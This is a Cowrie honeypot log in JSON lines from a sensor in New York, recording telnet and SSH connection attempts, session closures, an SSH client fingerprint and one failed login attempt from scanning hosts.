{"eventid":"cowrie.session.closed","duration":31.195627689361572,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:58.524514Z","src_ip":"69.6.225.50","session":"0cdc0ac64d04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":34382,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f277f8211cf","protocol":"telnet","message":"New connection: 185.15.23.59:34382 (159.203.135.109:23) [session: 4f277f8211cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:58.654962Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":34546,"dst_ip":"159.203.135.109","dst_port":23,"session":"cae6c9898982","protocol":"telnet","message":"New connection: 185.15.23.59:34546 (159.203.135.109:23) [session: cae6c9898982]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:58.702956Z"}
{"eventid":"cowrie.session.closed","duration":31.332070350646973,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:58.931110Z","src_ip":"185.15.23.59","session":"bed7c53d1567","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":37734,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3929604ea21","protocol":"telnet","message":"New connection: 144.79.218.12:37734 (10.17.0.5:23) [session: d3929604ea21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:58.992527Z"}
{"eventid":"cowrie.session.closed","duration":30.732704401016235,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:59.062833Z","src_ip":"69.6.225.50","session":"b6ea656611d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":35888,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ceb24bc2823","protocol":"telnet","message":"New connection: 185.15.23.59:35888 (159.203.135.109:23) [session: 1ceb24bc2823]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:59.189370Z"}
{"eventid":"cowrie.session.closed","duration":30.648029804229736,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:59.194140Z","src_ip":"185.15.23.59","session":"4e505949c1c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.475409507751465,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:59.314338Z","src_ip":"185.15.23.59","session":"c9dfb1bd1d72","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":36076,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7bee385efdf","protocol":"telnet","message":"New connection: 185.15.23.59:36076 (159.203.135.109:23) [session: b7bee385efdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:59.367482Z"}
{"eventid":"cowrie.session.closed","duration":31.27983069419861,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:59.664711Z","src_ip":"69.6.225.50","session":"f5ff53a23d89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":37432,"dst_ip":"159.203.135.109","dst_port":23,"session":"61ce7aee59ba","protocol":"telnet","message":"New connection: 185.15.23.59:37432 (159.203.135.109:23) [session: 61ce7aee59ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:59.854437Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":37682,"dst_ip":"159.203.135.109","dst_port":23,"session":"1256bfee6bb7","protocol":"telnet","message":"New connection: 185.15.23.59:37682 (159.203.135.109:23) [session: 1256bfee6bb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:59.934133Z"}
{"eventid":"cowrie.session.closed","duration":30.36554265022278,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:00.132953Z","src_ip":"185.15.23.59","session":"7b0d65f2f4d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.627695322036743,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:00.259576Z","src_ip":"185.15.23.59","session":"f860963db215","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":37208,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b3e3c3f574a","protocol":"telnet","message":"New connection: 69.6.225.50:37208 (159.203.135.109:23) [session: 5b3e3c3f574a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:00.438990Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":39330,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d141f2f7d72","protocol":"telnet","message":"New connection: 185.15.23.59:39330 (159.203.135.109:23) [session: 2d141f2f7d72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:00.589096Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":40660,"dst_ip":"159.203.135.109","dst_port":23,"session":"37b4c73866d6","protocol":"telnet","message":"New connection: 185.15.23.59:40660 (159.203.135.109:23) [session: 37b4c73866d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:01.031629Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":41150,"dst_ip":"159.203.135.109","dst_port":23,"session":"815dafaba528","protocol":"telnet","message":"New connection: 185.15.23.59:41150 (159.203.135.109:23) [session: 815dafaba528]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:01.226296Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":37214,"dst_ip":"159.203.135.109","dst_port":23,"session":"d55d152524ee","protocol":"telnet","message":"New connection: 69.6.225.50:37214 (159.203.135.109:23) [session: d55d152524ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:01.565286Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59462,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6f0bf462016","protocol":"ssh","message":"New connection: 159.203.92.129:59462 (159.203.135.109:22) [session: d6f0bf462016]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:02.246524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:02.407299Z","src_ip":"159.203.92.129","session":"d6f0bf462016","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:02.413859Z","src_ip":"159.203.92.129","session":"d6f0bf462016","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.535070657730103,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:02.488457Z","src_ip":"185.15.23.59","session":"7ab54305f757","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":37218,"dst_ip":"159.203.135.109","dst_port":23,"session":"0dd36b204150","protocol":"telnet","message":"New connection: 69.6.225.50:37218 (159.203.135.109:23) [session: 0dd36b204150]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:02.804056Z"}
{"eventid":"cowrie.session.closed","duration":31.756667137145996,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:02.816814Z","src_ip":"185.15.23.59","session":"8b94586cfac3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.944756507873535,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:03.077965Z","src_ip":"185.15.23.59","session":"41e7ff69285b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":37222,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf018d6f58ac","protocol":"telnet","message":"New connection: 69.6.225.50:37222 (159.203.135.109:23) [session: cf018d6f58ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:03.143556Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":46228,"dst_ip":"159.203.135.109","dst_port":23,"session":"558bf0a1598b","protocol":"telnet","message":"New connection: 185.15.23.59:46228 (159.203.135.109:23) [session: 558bf0a1598b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:03.431697Z"}
{"eventid":"cowrie.login.failed","username":"albertha","password":"albertha","message":"login attempt [albertha/albertha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:03.442201Z","src_ip":"159.203.92.129","session":"d6f0bf462016","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.794762134552002,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:03.490357Z","src_ip":"185.15.23.59","session":"ee004b312fae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":46928,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff6fa5aa2b14","protocol":"telnet","message":"New connection: 185.15.23.59:46928 (159.203.135.109:23) [session: ff6fa5aa2b14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:03.659595Z"}
{"eventid":"cowrie.session.closed","duration":31.199936151504517,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:03.750603Z","src_ip":"185.15.23.59","session":"64a0ee487f7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.133.227.168","src_port":60618,"dst_ip":"159.203.135.109","dst_port":23,"session":"f0ac564f2ab0","protocol":"telnet","message":"New connection: 102.133.227.168:60618 (159.203.135.109:23) [session: f0ac564f2ab0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:03.760247Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":47798,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c5ea24d73a1","protocol":"telnet","message":"New connection: 185.15.23.59:47798 (159.203.135.109:23) [session: 2c5ea24d73a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:03.962259Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":47948,"dst_ip":"159.203.135.109","dst_port":23,"session":"64cf487ae0ad","protocol":"telnet","message":"New connection: 185.15.23.59:47948 (159.203.135.109:23) [session: 64cf487ae0ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:04.013013Z"}
{"eventid":"cowrie.session.closed","duration":31.112640619277954,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:04.045989Z","src_ip":"185.15.23.59","session":"776bd11dbdea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":48364,"dst_ip":"159.203.135.109","dst_port":23,"session":"c73a02b43cbc","protocol":"telnet","message":"New connection: 185.15.23.59:48364 (159.203.135.109:23) [session: c73a02b43cbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:04.120929Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.133.227.168","src_port":60736,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc52225ebe5e","protocol":"telnet","message":"New connection: 102.133.227.168:60736 (159.203.135.109:23) [session: bc52225ebe5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:04.125615Z"}
{"eventid":"cowrie.session.closed","duration":31.14103889465332,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:04.132844Z","src_ip":"185.15.23.59","session":"a628aa09eb9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.696871042251587,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:04.324732Z","src_ip":"185.15.23.59","session":"4ed2f291b524","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.10494947433472,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:04.431210Z","src_ip":"144.79.218.12","session":"792e4a4655a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.872851848602295,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:04.459077Z","src_ip":"185.15.23.59","session":"cc0d14813169","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.937384366989136,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:04.489033Z","src_ip":"144.79.218.12","session":"ae1bbe87f9e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90868353843689,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:04.686504Z","src_ip":"69.6.225.50","session":"cdc3240ef363","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:04.835641Z","src_ip":"159.203.92.129","session":"d6f0bf462016","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":50114,"dst_ip":"159.203.135.109","dst_port":23,"session":"94cbbcf48965","protocol":"telnet","message":"New connection: 185.15.23.59:50114 (159.203.135.109:23) [session: 94cbbcf48965]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:04.891944Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":37238,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b26fc8cb4d1","protocol":"telnet","message":"New connection: 69.6.225.50:37238 (159.203.135.109:23) [session: 7b26fc8cb4d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:04.933277Z"}
{"eventid":"cowrie.session.closed","duration":31.10219097137451,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:05.069262Z","src_ip":"69.6.225.50","session":"b85ba27ae888","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":50876,"dst_ip":"159.203.135.109","dst_port":23,"session":"75abc73c1417","protocol":"telnet","message":"New connection: 185.15.23.59:50876 (159.203.135.109:23) [session: 75abc73c1417]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:05.123625Z"}
{"eventid":"cowrie.session.closed","duration":31.16086173057556,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:05.195119Z","src_ip":"69.6.225.50","session":"e2c449199a23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":51322,"dst_ip":"159.203.135.109","dst_port":23,"session":"daa52cfc525b","protocol":"telnet","message":"New connection: 185.15.23.59:51322 (159.203.135.109:23) [session: daa52cfc525b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:05.461732Z"}
{"eventid":"cowrie.session.closed","duration":30.78646969795227,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:05.533399Z","src_ip":"185.15.23.59","session":"935c382c5d58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.485472440719604,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:05.760716Z","src_ip":"185.15.23.59","session":"bbd4c9705978","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.082133531570435,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:06.465804Z","src_ip":"69.6.225.50","session":"3a87cace46f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":53846,"dst_ip":"159.203.135.109","dst_port":23,"session":"3aaab3885309","protocol":"telnet","message":"New connection: 185.15.23.59:53846 (159.203.135.109:23) [session: 3aaab3885309]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:06.511926Z"}
{"eventid":"cowrie.session.closed","duration":30.878809928894043,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:06.802514Z","src_ip":"185.15.23.59","session":"9caa165d8500","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.46708154678345,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:06.937674Z","src_ip":"144.79.218.12","session":"1db1b19368f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.418705224990845,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:07.317704Z","src_ip":"185.15.23.59","session":"c2739ab7bc7e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.9730703830719,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:07.436728Z","src_ip":"144.79.218.12","session":"7ae910ebe583","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":57296,"dst_ip":"159.203.135.109","dst_port":23,"session":"565f2dd1a7c4","protocol":"telnet","message":"New connection: 185.15.23.59:57296 (159.203.135.109:23) [session: 565f2dd1a7c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:07.682994Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":57580,"dst_ip":"159.203.135.109","dst_port":23,"session":"26bab69cf82f","protocol":"telnet","message":"New connection: 185.15.23.59:57580 (159.203.135.109:23) [session: 26bab69cf82f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:07.796943Z"}
{"eventid":"cowrie.session.closed","duration":31.02908706665039,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:07.933115Z","src_ip":"185.15.23.59","session":"b27035686568","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.098735094070435,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:08.123509Z","src_ip":"102.133.227.168","session":"9f7cebac6e50","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.613654375076294,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:08.164845Z","src_ip":"144.79.218.12","session":"e55ff52af26b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":59088,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ae12852d3c1","protocol":"telnet","message":"New connection: 185.15.23.59:59088 (159.203.135.109:23) [session: 1ae12852d3c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:08.274658Z"}
{"eventid":"cowrie.session.closed","duration":30.983722925186157,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:08.364714Z","src_ip":"185.15.23.59","session":"85381c160379","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":59256,"dst_ip":"159.203.135.109","dst_port":23,"session":"e424d82db521","protocol":"telnet","message":"New connection: 185.15.23.59:59256 (159.203.135.109:23) [session: e424d82db521]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:08.406385Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":59282,"dst_ip":"159.203.135.109","dst_port":23,"session":"1004db0fdb2a","protocol":"telnet","message":"New connection: 185.15.23.59:59282 (159.203.135.109:23) [session: 1004db0fdb2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:08.440524Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":33770,"dst_ip":"10.17.0.5","dst_port":23,"session":"b422f8b15a41","protocol":"telnet","message":"New connection: 144.79.218.12:33770 (10.17.0.5:23) [session: b422f8b15a41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:08.455694Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":33778,"dst_ip":"10.17.0.5","dst_port":23,"session":"46842cbc2f53","protocol":"telnet","message":"New connection: 144.79.218.12:33778 (10.17.0.5:23) [session: 46842cbc2f53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:08.487855Z"}
{"eventid":"cowrie.session.closed","duration":34.528141021728516,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:09.208516Z","src_ip":"144.79.218.12","session":"8d35dff0ca56","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.780691623687744,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:09.250530Z","src_ip":"69.6.225.50","session":"855b808dbadc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86095929145813,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:09.462013Z","src_ip":"185.15.23.59","session":"93bb065ff97e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":34508,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7ba098035d0","protocol":"telnet","message":"New connection: 185.15.23.59:34508 (159.203.135.109:23) [session: d7ba098035d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:09.672562Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":37070,"dst_ip":"159.203.135.109","dst_port":23,"session":"20ef981f8831","protocol":"telnet","message":"New connection: 69.6.225.50:37070 (159.203.135.109:23) [session: 20ef981f8831]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:09.857325Z"}
